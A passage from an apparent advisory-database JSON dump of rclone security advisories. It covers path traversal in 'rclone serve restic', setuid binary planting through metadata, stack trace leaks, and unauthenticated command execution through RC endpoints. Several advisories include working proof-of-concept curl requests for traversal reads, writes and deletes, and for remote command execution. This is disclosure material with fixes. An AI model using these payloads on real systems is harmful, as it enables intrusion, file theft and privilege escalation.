SFTP | `backend/sftp/sftp.go`, `(*Fs).remotePath` | 2086-2089 | Joins `f.absRoot` and the remote, allowing the parent component to remove the published subdirectory | read, write, delete |\n\nThese are backend-specific manifestations of the same `WithRemote` validation flaw, not separate vulnerabilities.\n\n## Technical Details\n\n`WithRemote` obtains the decoded URL path, removes external slashes, and tries to reject traversal by comparing the path with `path.Clean`:\n\n```go\nurlpath = strings.Trim(urlpath, \"/\")\n// Reject any non-canonical path, in particular one containing \"..\"\n// traversal elements.\nif urlpath != \"\" \u0026\u0026 path.Clean(urlpath) != urlpath {\n    http.Error(w, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\n    return\n}\n```\n\nThe comment describes the intended behavior, but the condition does not reject every parent component. `path.Clean` preserves leading parent components in a relative path:\n\n```text\npath.Clean(\"../outside.txt\")  = \"../outside.txt\"\npath.Clean(\"../../outside.txt\") = \"../../outside.txt\"\n```\n\nBecause both strings are equal, the middleware accepts the path. Internal traversal behaves differently:\n\n```text\npath.Clean(\"a/../../outside.txt\") = \"../outside.txt\"\n```\n\nThese strings differ, so that request returns HTTP 400. This explains why the existing check appears to work while the leading variant bypasses it.\n\nAfter validation, `WithRemote` stores the accepted value in the request context:\n\n```go\nctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath)\nnext.ServeHTTP(w, r.WithContext(ctx))\n```\n\nGET, POST, and DELETE handlers retrieve this same value. GET passes it to `s.f.NewObject`, POST passes it to `operations.RcatSize`, and DELETE resolves the object and calls `Remove`. There is no second containment check.\n\nWebDAV is used below as the concrete end-to-end example because it was the backend used for the main proof of concept. WebDAV is not the source of the validation flaw. The example demonstrates one way in which an unsafe remote accepted by `WithRemote` is propagated by a backend.\n\nThe WebDAV backend joins its configured root with the attacker-controlled remote:\n\n```go\nfunc (f *Fs) filePath(file string) string {\n    subPath := path.Join(f.root, file)\n    if f.opt.Enc != encoder.EncodeZero {\n        subPath = f.opt.Enc.FromStandardPath(subPath)\n    }\n    return rest.URLPathEscapeAll(subPath)\n}\n```\n\nFor the proof of concept:\n\n```text\nf.root = \"served-root\"\nfile = \"../outside-secret.txt\"\n\npath.Join(\"served-root\", \"../outside-secret.txt\")\n= \"outside-secret.txt\"\n```\n\nThe configured root is removed before encoding. WsgiDAV receives a normal operation for `/outside-secret.txt`, which is outside the root published by `rclone serve restic`.\n\nThe same accepted leading parent path propagates through the other affected backends tested. FTP joins its root and remote with `path.Join` before object operations; HTTP preserves `served-root/../outside-secret.txt` when constructing the endpoint request; Memory joins the root and relative path before splitting the bucket and key; and SFTP joins `f.absRoot` and the remote in `remotePath`. In each case, the backend receives the leading parent component already accepted by `WithRemote`. The exact escape mechanism and available operations vary by backend. Conversely, S3-compatible and local backends did not escape in the tested configuration because they encoded `..` as filename characters.\n\nExpected behavior is HTTP 400 before any backend operation. Actual behavior is HTTP 200 followed by an operation outside `served-root`.\n\n## Preconditions and impact\n\nThe operator must publish a backend subdirectory, the endpoint must be reachable, and the backend credential must have access to a parent or sibling object. Exploitability also depends on backend path semantics.\n\nAn attacker may:\n\n- read files and objects outside the published backup root;\n- create or overwrite sibling objects;\n- delete objects when deletion is permitted;\n- cross isolation boundaries between users, repositories, or automation jobs;\n- indirectly compromise another system if it later trusts an overwritten configuration, script, or artifact.\n\n`--append-only` reduces overwrite and delete impact but does not prevent traversal reads or creation of new objects.\n\n## Proof of concept\n\nThe following procedure was executed on Linux Mint 22.3 with the official `rclone v1.74.4` Linux AMD64 binary, WsgiDAV 4.3.5, and Cheroot 10.0.1. The rclone binary reports that it was built with Go 1.26.5.\n\n### 1. Create the storage layout\n\n```console\n$ mkdir -p poc/storage/served-root\n$ printf '%s\\n' 'INSIDE-PUBLISHED-ROOT' \u003e poc/storage/served-root/inside.txt\n$ printf '%s\\n' 'SECRET-OUTSIDE-PUBLISHED-ROOT' \u003e poc/storage/outside-secret.txt\n$ find poc/storage -type f\npoc/storage/served-root/inside.txt\npoc/storage/outside-secret.txt\n```\n\n### 2. Start the independent WebDAV server\n\n```console\n$ python3 -m venv poc/venv\n$ poc/venv/bin/pip install 'WsgiDAV==4.3.5' 'cheroot==10.0.1'\n$ poc/venv/bin/wsgidav --host=127.0.0.1 --port=39500 \\\n    --root=\"$PWD/poc/storage\" --auth=anonymous --no-config\nRunning without configuration file.\n...\nServer: WsgiDAV/4.3.5 Cheroot/10.0.1 Python/3.12.3\n```\n\n### 3. Download, verify, and start rclone\n\n```console\n$ curl -fLO https://downloads.rclone.org/v1.74.4/rclone-v1.74.4-linux-amd64.zip\n$ curl -fLO https://downloads.rclone.org/v1.74.4/SHA256SUMS\n$ grep '  rclone-v1.74.4-linux-amd64.zip$' SHA256SUMS | sha256sum -c -\nrclone-v1.74.4-linux-amd64.zip: OK\n\n$ unzip rclone-v1.74.4-linux-amd64.zip\n$ ./rclone-v1.74.4-linux-amd64/rclone version | head -n 1\nrclone v1.74.4\n\n$ ./rclone-v1.74.4-linux-amd64/rclone serve restic ':webdav:served-root' \\\n    --webdav-url http://127.0.0.1:39500 \\\n    --webdav-vendor other --addr 127.0.0.1:39501 -vv\nNOTICE: webdav root 'served-root': Serving restic REST API on [http://127.0.0.1:39501/]\n```\n\n### 4. Confirm normal access\n\n```console\n$ curl --path-as-is -i http://127.0.0.1:39501/inside.txt\nHTTP/1.1 200 OK\n...\nINSIDE-PUBLISHED-ROOT\n```\n\n### 5. Read outside the published root\n\n```console\n$ curl --path-as-is -i http://127.0.0.1:39501/%2e%2e/outside-secret.txt\nHTTP/1.1 200 OK\n...\nSECRET-OUTSIDE-PUBLISHED-ROOT\n```\n\n### 6. Write outside the published root\n\n```console\n$ curl --path-as-is -i -X POST \\\n    http://127.0.0.1:39501/%2e%2e/outside-write.txt \\\n    --data-binary 'ATTACKER-CONTROLLED-OUTSIDE-ROOT'\nHTTP/1.1 200 OK\n...\n\n$ cat poc/storage/outside-write.txt\nATTACKER-CONTROLLED-OUTSIDE-ROOT\n```\n\n### 7. Delete outside the published root\n\n```console\n$ curl --path-as-is -i -X DELETE \\\n    http://127.0.0.1:39501/%2e%2e/outside-write.txt\nHTTP/1.1 200 OK\n...\n\n$ test ! -e poc/storage/outside-write.txt \u0026\u0026 echo 'physical file deleted'\nphysical file deleted\n```\n\n### 8. Compare with internal traversal\n\n```console\n$ curl --path-as-is -i http://127.0.0.1:39501/a/../../outside-secret.txt\nHTTP/1.1 400 Bad Request\n...\nBad Request\n```\n\nThis demonstrates why the existing check appears to work for interior traversal while the leading variant bypasses it.\n\n## Tested backends\n\n| Backend | Local implementation | Result | Operations tested |\n|---|---|---|---|\n| WebDAV | WsgiDAV 4.3.5 | Affected | read, write, delete |\n| FTP | pyftpdlib 2.2.0 | Affected | read, write, delete |\n| HTTP | Python `http.server` 3.12.3 | Affected | read |\n| Memory | rclone memory backend | Affected | read, write, delete |\n| SFTP | `atmoz/sftp` OpenSSH server | Affected | read, write, delete |\n| S3 compatible | MinIO | No root escape observed | read, write, delete |\n| Local filesystem | default local encoding | No root escape observed | read, write, delete |\n\nOnly the backends listed in this table were tested or classified. Every row was dynamically repeated with the same official `v1.74.4` Linux AMD64 binary identified in the proof of concept.\n\n## Suggested remediation\n\nReject `.` and `..` components in `WithRemote` before storing the remote in the context. Validating the decoded relative path with `io/fs.ValidPath`, with explicit handling for the empty API root, is one possible approach. Authorization and backend lookup should use the same validated representation.\n\nRegression tests should cover GET, HEAD, POST, and DELETE with `..`, `../x`, `../../x`, `%2e%2e/x`, `a/../x`, and `a/../../x`, both with and without `--private-repos`.\n\n## Additional impact scenarios identified by the maintainer\n\n- `GET /../` could reach the list handler and enumerate the parent directory, allowing an attacker to discover object names before accessing them.\n- With `--append-only`, a request such as `DELETE /../locks/\u003cname\u003e` could satisfy the existing delete guard and delete an object outside the served root.\n- A bare `.` path was also accepted. On bucket-based backends, `POST /.` could write an object outside the intended served path.\n\nCredit: Caubi Loureiro of Vorpcel Research","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-05T20:13:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/rclone/rclone/security/advisories/GHSA-45pq-889g-fcgh","https://github.com/rclone/rclone/commit/cc5a189f00efe68ed0ddb32d3237b42549a9f264","https://github.com/rclone/rclone/releases/tag/v1.75.0","https://github.com/advisories/GHSA-45pq-889g-fcgh"],"source_kind":"github","identifiers":["GHSA-45pq-889g-fcgh","CVE-2026-71309"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-05T21:00:08.571Z","updated_at":"2026-09-12T21:00:44.486Z","epss_percentage":0.00379,"epss_percentile":0.31218,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NXBxLTg4OWctZmNnaM4ABhgb","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NXBxLTg4OWctZmNnaM4ABhgb","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.75.0","vulnerable_version_range":"\u003e= 1.40.0, \u003c 1.75.0"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NXBxLTg4OWctZmNnaM4ABhgb/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05NDV2LXY5cDMtdjV4d84ABhgG","url":"https://github.com/advisories/GHSA-945v-v9p3-v5xw","title":"rclone local `--metadata` applies attacker-controlled mode/uid - setuid binary planted from an untrusted remote","description":"### Summary\nWhen writing an object with metadata, the local backend applies the source-supplied `mode`, `uid`, and `gid` verbatim: it parses `mode` as an octal integer and passes it straight into `os.Chmod(o.path, os.FileMode(umode))`, and passes `uid`/`gid` straight into `os.Chown`. The value is never masked to permission bits, so any value with Go's `ModeSetuid` (1\u003c\u003c23) or `ModeSetgid` (1\u003c\u003c22) bit set causes the setuid/setgid bit to be applied. Because both the file content and its metadata come from the (attacker-controlled) source remote, an attacker stores a binary of their choosing with `mode = 40000755` (and `uid = 0`); when the victim runs `rclone copy -M \u003cremote\u003e: /dest`, rclone writes the attacker's binary and makes it setuid. If the victim runs rclone as root (typical for system backup/restore), the `uid=0` chown plus setuid produces a root-owned setuid binary with attacker content — any local user then escalates to root. When rclone runs as a non-root service user, the planted setuid binary is owned by that user, giving any local user that user's privileges (lateral escalation / persistent backdoor).\n\n### Details\n`backend/local/metadata.go`, `writeMetadataToFile()`:\n```go\nuid, hasUID := o.parseMetadataInt(m, \"uid\", 10)\ngid, hasGID := o.parseMetadataInt(m, \"gid\", 10)\nif hasUID {\n    ...\n    err = os.Chown(o.path, uid, gid)        // source-controlled owner, no same-uid guard\n}\nmode, hasMode := o.parseMetadataInt(m, \"mode\", 8)\nif hasMode \u0026\u0026 mode \u003e= 0 {\n    umode := uint(mode)\n    if umode \u003c= math.MaxUint32 {\n        err = os.Chmod(o.path, os.FileMode(umode))   // \u003c-- raw value; ModeSetuid/ModeSetgid NOT masked off\n    }\n}\n```\n`os.Chmod`/`os.FileMode` honor `ModeSetuid`/`ModeSetgid`/`ModeSticky`. There is no `\u0026^ (os.ModeSetuid|os.ModeSetgid)` mask and no check that the source is trusted, so an attacker-chosen `mode` string sets those bits on the freshly written, attacker-controlled file. (Note: a legitimate local source reports `mode` in unix `st_mode` layout e.g. `0106755`, whose bit 1\u003c\u003c23 is unset, so honest copies happen to drop setuid — but the attacker supplies the Go-`FileMode` layout `40000755` directly, which sets it.)\n\n### PoC\n1) Get the official stable binary:\n```\ncurl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip\nunzip -j rclone-v1.74.3-linux-amd64.zip '*/rclone' -d .      # ./rclone -\u003e v1.74.3\n```\n2) Create a payload (the attacker-controlled binary content) and copy it with the malicious `mode` metadata:\n```\nmkdir -p msrc mdst \u0026\u0026 cp /bin/true msrc/payload\n./rclone copy -M --metadata-set mode=40000755 msrc mdst       # 40000755 = Go FileMode setuid|0755\n```\n3) Observe — the destination file is now setuid:\n```\nstat -c '%A %a' mdst/payload\n-rwsr-xr-x 4755                                               # 's' = setuid bit SET on attacker binary\n```\nVariants: `mode=20000755` → setgid (`-rwxr-sr-x`); `mode=60000755` → both (`-rwsr-sr-x`). With rclone run as root and the source object also carrying `uid=0`/`gid=0`, the file is chown'd root:root, yielding a root-owned setuid binary executable by any local user.\n\n\n### Impact\nA victim performing a metadata-preserving copy/restore (`-M`) from an untrusted or compromised remote installs an attacker-chosen executable with the setuid/setgid bit set. Run as root (system backup/restore, the common case for `--metadata`), this is a root-owned setuid root backdoor executable by any local user → local privilege escalation to root. Run as a non-root user, it is a setuid backdoor for that service account. The companion `uid`/`gid` application lets a root-run transfer also reassign ownership of written files arbitrarily.\n\n### Remediation\nMask special bits before applying mode from metadata — `os.Chmod(o.path, os.FileMode(umode).Perm())` (or `umode \u0026 0o777`) — and do not honor setuid/setgid/sticky from source metadata; gate `uid`/`gid`/setuid application behind an explicit opt-in (e.g. `--local-metadata-set-ownership`) that is off by default, and document that `-M` from untrusted remotes must not restore privileged bits. Regression test: copying an object with `mode=40000755`/`uid=0` must produce a non-setuid, caller-owned file unless the opt-in is set.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-08-05T20:03:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.6,"cvss_vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","references":["https://github.com/rclone/rclone/security/advisories/GHSA-945v-v9p3-v5xw","https://github.com/rclone/rclone/commit/e58f09739a35774ca82b5211d2377ac0f2051500","https://github.com/rclone/rclone/releases/tag/v1.74.4","https://github.com/advisories/GHSA-945v-v9p3-v5xw"],"source_kind":"github","identifiers":["GHSA-945v-v9p3-v5xw"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-05T21:00:08.571Z","updated_at":"2026-09-07T05:00:35.901Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NDV2LXY5cDMtdjV4d84ABhgG","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05NDV2LXY5cDMtdjV4d84ABhgG","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.74.4","vulnerable_version_range":"\u003c= 1.74.3"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05NDV2LXY5cDMtdjV4d84ABhgG/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nd2ZxLTg2ajgtN3Fods4ABhgF","url":"https://github.com/advisories/GHSA-gwfq-86j8-7qhv","title":"rclone: Verbose Stack Trace Disclosure in RC API Error Responses","description":"### Summary\n\nWhen an RC API call triggers a panic (recovered by the job runner), the full Go stack trace is included in the JSON error response. This leaks internal file paths, Go module versions, goroutine state, and memory addresses to the API caller.\n\n### Details\n\nThe panic recovery in `fs/rc/jobs/job.go:110-115`:\n\n```go\nfunc (j *Job) run(ctx context.Context, fn rc.Func, in rc.Params) {\n    defer func() {\n        if r := recover(); r != nil {\n            j.mu.Lock()\n            j.EndTime = time.Now()\n            j.Error = fmt.Sprintf(\"panic received: %v \\n%s\", r, string(debug.Stack()))\n            // ...\n        }\n    }()\n```\n\nThe full `debug.Stack()` output is placed into `j.Error`, which is then returned in the HTTP response JSON.\n\n### PoC\n\nTrigger a parse error by setting config path to a non-INI file, then calling dump:\n\n```bash\ncurl -s -X POST http://localhost:5572/config/setpath \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"path\":\"/etc/hostname\"}' \n\ncurl -s -X POST http://localhost:5572/config/dump\n```\n\nResponse includes:\n\n```json\n{\n  \"error\": \"panic received: fatal error: Failed to load config file \\\"/etc/hostname\\\": could not parse line: ... \\ngoroutine 9 [running]:\\nruntime/debug.Stack()\\n\\truntime/debug/stack.go:26 +0x64\\ngithub.com/rclone/rclone/fs/rc/jobs.(*Job).run.func1()\\n\\tgithub.com/rclone/rclone/fs/rc/jobs/job.go:112 +0x34\\n...\",\n  \"status\": 500\n}\n```\n\n**Disclosed information includes:**\n- Full filesystem paths (`github.com/rclone/rclone/fs/config/config.go:377`)\n- Go module versions (`github.com/go-chi/chi/v5@v5.2.5`)\n- Go runtime version (from binary)\n- Goroutine IDs and states\n- Memory addresses (ASLR leak)\n- File contents (first unparseable line of the target file)\n\n**Tested and confirmed on rclone v1.74.4.**\n\n### Impact\n\nInformation disclosure that aids exploitation of other vulnerabilities. Stack traces reveal internal architecture, dependency versions (useful for known-CVE targeting), and memory layout. The error message also leaks partial file contents (the first line that fails INI parsing), which can be used alongside the arbitrary file read finding as a complementary file read primitive for non-INI files.\n\n### Affected Versions\n\nAll versions with RC API support through at least v1.74.4.\n\n### Remediation\n\nReturn a generic error message to the API caller. Log the full stack trace server-side only. Strip `debug.Stack()` from HTTP responses.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-08-05T19:59:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N","references":["https://github.com/rclone/rclone/security/advisories/GHSA-gwfq-86j8-7qhv","https://github.com/rclone/rclone/commit/ff43a1e3ae17627c80e523a0ca7445f96516d199","https://github.com/rclone/rclone/releases/tag/v1.75.0","https://github.com/advisories/GHSA-gwfq-86j8-7qhv"],"source_kind":"github","identifiers":["GHSA-gwfq-86j8-7qhv"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-05T21:00:08.571Z","updated_at":"2026-09-07T05:00:35.901Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nd2ZxLTg2ajgtN3Fods4ABhgF","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nd2ZxLTg2ajgtN3Fods4ABhgF","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.75.0","vulnerable_version_range":"\u003c= 1.74.4"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nd2ZxLTg2ajgtN3Fods4ABhgF/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xdzI0LWdoNzYtOHJ2ds4ABY2f","url":"https://github.com/advisories/GHSA-qw24-gh76-8rvv","title":"Rclone: Unauthenticated command execution in `rclone rcd --rc-serve` via inline remote instantiation, bypassing CVE-2026-41179 fix","description":"## Summary\n\n`rclone rcd --rc-serve` accepts unauthenticated `GET` and `HEAD` requests to paths of the form:\n\n```text\n/[remote:path]/object\n```\n\nThe `remote` value is parsed from the URL and passed to normal backend initialization. Inline remote configuration can set backend options that execute local commands during initialization. As a result, a single unauthenticated `GET` or `HEAD` request can execute a command as the rclone process user.\n\nVersions from 1.55.0 onwards are vulnerable to command execution. Earlier versions (from 1.46.0) are vulnerable to the unauthenticated local file read described under \"Additional impact\" but not to command execution, because inline backend option overrides did not exist until 1.55.0.\n\n## Preconditions\n\nPreconditions for this vulnerability are:\n\n- The rclone remote control API must be enabled, either by the `--rc` flag or by running the `rclone rcd` server\n- The remote control API must be reachable by the attacker - by default rclone only serves the rc to localhost unless the `--rc-addr` flag is in use\n- The rc must have been deployed without global RC HTTP authentication - so not using `--rc-user`/`--rc-pass`/`--rc-htpasswd`/etc\n- The `--rc-serve` flag must be in use\n\n## Impact\n\nAn unauthenticated network attacker who can reach the RC HTTP listener can execute commands as the rclone process user.\n\nAdditional impact observed during testing:\n\n- `GET` and `HEAD` both trigger backend initialization.\n- The same path allows unauthenticated local file read through inline `local` remotes.\n- Inline `global.*` options can mutate process-wide rclone configuration, including `global.http_proxy`.\n- Browser subresource requests can also trigger the issue against a localhost-only RC listener. In testing, Firefox triggered the payload from a public HTTPS page containing only an `\u003cimg\u003e` tag pointing at `http://127.0.0.1:5572/...`. This is an additional impact multiplier, not the primary attack precondition.\n\n## Mitigations / Workarounds\n\n- Upgrade to rclone 1.74.3 (or 1.75.0 when released).\n- Or, configure HTTP authentication on the rc with `--rc-user`/`--rc-pass`\n  or `--rc-htpasswd`, which has always been the recommended deployment.\n- Or, do not use `--rc-serve` if file serving is not needed.\n\n## The Fix\n\nThe vulnerabilities in this advisory have been fixed by two commits:\n\n- rc: fix unauthenticated command execution via `--rc-serve` inline remotes\n- rc: stop `global.*` connection string options changing config","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-06-16T23:39:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/rclone/rclone/security/advisories/GHSA-qw24-gh76-8rvv","https://nvd.nist.gov/vuln/detail/CVE-2026-49980","https://access.redhat.com/security/cve/CVE-2026-49980","https://bugzilla.redhat.com/show_bug.cgi?id=2492478","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-49980.json","https://github.com/advisories/GHSA-qw24-gh76-8rvv"],"source_kind":"github","identifiers":["GHSA-qw24-gh76-8rvv","CVE-2026-49980"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-17T00:00:09.018Z","updated_at":"2026-09-14T14:02:15.483Z","epss_percentage":0.00744,"epss_percentile":0.52585,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xdzI0LWdoNzYtOHJ2ds4ABY2f","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xdzI0LWdoNzYtOHJ2ds4ABY2f","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.74.3","vulnerable_version_range":"\u003e= 1.46.0, \u003c= 1.74.2"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xdzI0LWdoNzYtOHJ2ds4ABY2f/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qZndmLTI4eHIteHc2cc4ABVl7","url":"https://github.com/advisories/GHSA-jfwf-28xr-xw6q","title":"RClone: Unauthenticated operations/fsinfo allows attacker-controlled backend instantiation and local command execution","description":"### Summary\nThe RC endpoint `operations/fsinfo` is exposed without `AuthRequired: true` and accepts attacker-controlled `fs` input. Because `rc.GetFs(...)` supports inline backend definitions, an unauthenticated attacker can instantiate an attacker-controlled backend on demand. For the WebDAV backend, `bearer_token_command` is executed during backend initialization, making single-request unauthenticated local command execution possible on reachable RC deployments without global HTTP authentication.\n\n### Preconditions\n\nPreconditions for this vulnerability are:\n\n- The rclone remote control API **must** be enabled, either by the `--rc` flag or by running the `rclone rcd` server\n- The remote control API **must** be reachable by the attacker - by default rclone only serves the rc to localhost unless the `--rc-addr` flag is in use\n- The rc must have been deployed **without** global RC HTTP authentication - so not using `--rc-user`/`--rc-pass`/`--rc-htpasswd`/etc\n\n\n### Details\nThe root cause consists of the following pieces:\n\n1. `operations/fsinfo` is not protected with `AuthRequired: true`\n2. `operations/fsinfo` calls `rc.GetFs(...)` on attacker-controlled input\n3. `rc.GetFs(...)` supports inline backend creation through object-valued `fs`\n4. WebDAV backend initialization executes `bearer_token_command`\n\nRelevant code paths:\n\n- [`fs/operations/rc.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/operations/rc.go)\n  - `operations/fsinfo` is registered without `AuthRequired: true`\n  - `rcFsInfo()` calls `rc.GetFs(ctx, in)`\n\n- [`fs/rc/cache.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/rc/cache.go)\n  - `GetFs()` / `GetFsNamed()` can parse an object-valued `fs`\n  - `getConfigMap()` converts attacker-controlled JSON into a backend config string\n\n- [`backend/webdav/webdav.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/backend/webdav/webdav.go)\n  - `bearer_token_command` is a supported backend option\n  - `NewFs(...)` calls `fetchAndSetBearerToken()` when `bearer_token_command` is set\n  - `fetchBearerToken()` invokes `exec.Command(...)`\n\nThis creates a practical single-request unauthenticated command-execution primitive on reachable RC servers without global HTTP authentication.\n\nThis was alidated on:\n- current `master` as of 2026-04-14: `bf55d5e6d37fd86164a87782191f9e1ffcaafa82`\n- latest public release tested locally: `v1.73.4`\n\nThis was also validated on a public amd64 Ubuntu host controlled by the tester, using direct host execution (not containerized PoC execution).\n\n### PoC\n#### Minimal single-request form PoC\nStart a vulnerable RC server:\n\n```bash\nrclone rcd --rc-addr 127.0.0.1:5572\n```\n\nNo `--rc-user`, no `--rc-pass`, no `--rc-htpasswd`.\n\nThen send a single request:\n\n```bash\ncurl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \\\n  --data-urlencode \"fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/touch /tmp/rclone_fsinfo_rce_poc_marker':\"\n```\n\nExpected result:\n- HTTP 200 JSON response from `operations/fsinfo`\n- `/tmp/rclone_fsinfo_rce_poc_marker` is created on the host\n\n### Impact\nThis is effectively a single-request unauthenticated command-execution vulnerability on reachable RC deployments without global HTTP authentication.\n\nIn practice, command execution in the rclone process context can lead to higher-impact outcomes such as local file read, file write, or shell access, depending on the deployed environment.\n\n#### Testing performed\nThis was successfully reproduced:\n- on a local test environment\n- on a public amd64 Ubuntu host controlled by the tester\n\nOn the public host it was confirmed:\n\n- the unauthenticated `operations/fsinfo` exploit worked\n- command execution occurred on the host\n- the issue was reproducible through direct host execution","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-04-22T14:45:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/rclone/rclone/security/advisories/GHSA-jfwf-28xr-xw6q","https://nvd.nist.gov/vuln/detail/CVE-2026-41179","https://github.com/rclone/rclone/commit/2a9e952b38e03a96bf40c9eb6e8e22199865ee3b","https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/backend/webdav/webdav.go","https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/operations/rc.go","https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/rc/cache.go","https://github.com/rclone/rclone/releases/tag/v1.73.5","https://rclone.org/changelog/#v1-73-5-2026-04-19","https://github.com/advisories/GHSA-jfwf-28xr-xw6q"],"source_kind":"github","identifiers":["GHSA-jfwf-28xr-xw6q","CVE-2026-41179"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-22T15:00:09.103Z","updated_at":"2026-09-07T05:02:40.831Z","epss_percentage":0.08585,"epss_percentile":0.94501,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qZndmLTI4eHIteHc2cc4ABVl7","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qZndmLTI4eHIteHc2cc4ABVl7","packages":[{"ecosystem":"go","package_name":"github.com/rclone/rclone","versions":[{"first_patched_version":"1.73.5","vulnerable_version_range":"\u003e= 1.48.0, \u003c= 1.73.4"}],"purl":"pkg:go/github.com%2Frclone%2Frclone"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qZndmLTI4eHIteHc2cc4ABVl7/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yNXFyLTZtcHItZjdxeM4ABVl6","url":"https://github.com/advisories/GHSA-25qr-6mpr-f7qx","title":"Rclone: Unauthenticated options/set allows runtime auth bypass, leading to sensitive operations and command execution","description":"### Summary\nThe RC endpoint `options/set` is exposed without `AuthRequired: true`, but it can mutate global runtime configuration, including the RC option block itself. An unauthenticated attacker can set `rc.NoAuth=true`, which disables the authorization gate for many RC methods registered with `AuthRequired: true` on reachable RC servers that are started without global HTTP authentication. This can lead to unauthorized access to sensitive administrative functionality, including configuration and operational RC methods.\n\n### Preconditions\n\nPreconditions for this vulnerability are:\n\n- The rclone remote control API **must** be enabled, either by the `--rc` flag or by running the `rclone rcd` server\n- The remote control API **must** be reachable by the attacker - by default rclone only serves the rc to localhost unless the `--rc-addr` flag is in use\n- The rc must have been deployed **without** global RC HTTP authentication - so not using `--rc-user`/`--rc-pass`/`--rc-htpasswd`/etc\n\n### Details\nThe root cause is present from v1.45 onward. Some higher-impact exploitation paths became available in later releases as additional RC functionality was introduced.\n\nThe issue is caused by two properties of the RC implementation:\n\n1. `options/set` is exposed without `AuthRequired: true`\n2. the RC server enforces authorization for `AuthRequired` calls using the mutable runtime value `s.opt.NoAuth`\n\nRelevant code paths:\n\n- [`fs/rc/config.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/rc/config.go)\n  - registers `options/set` without `AuthRequired: true`\n  - `rcOptionsSet` reshapes attacker-controlled input into global option blocks\n\n- [`fs/rc/rcserver/rcserver.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/rc/rcserver/rcserver.go)\n  - request handling checks:\n    - `if !s.opt.NoAuth \u0026\u0026 call.AuthRequired \u0026\u0026 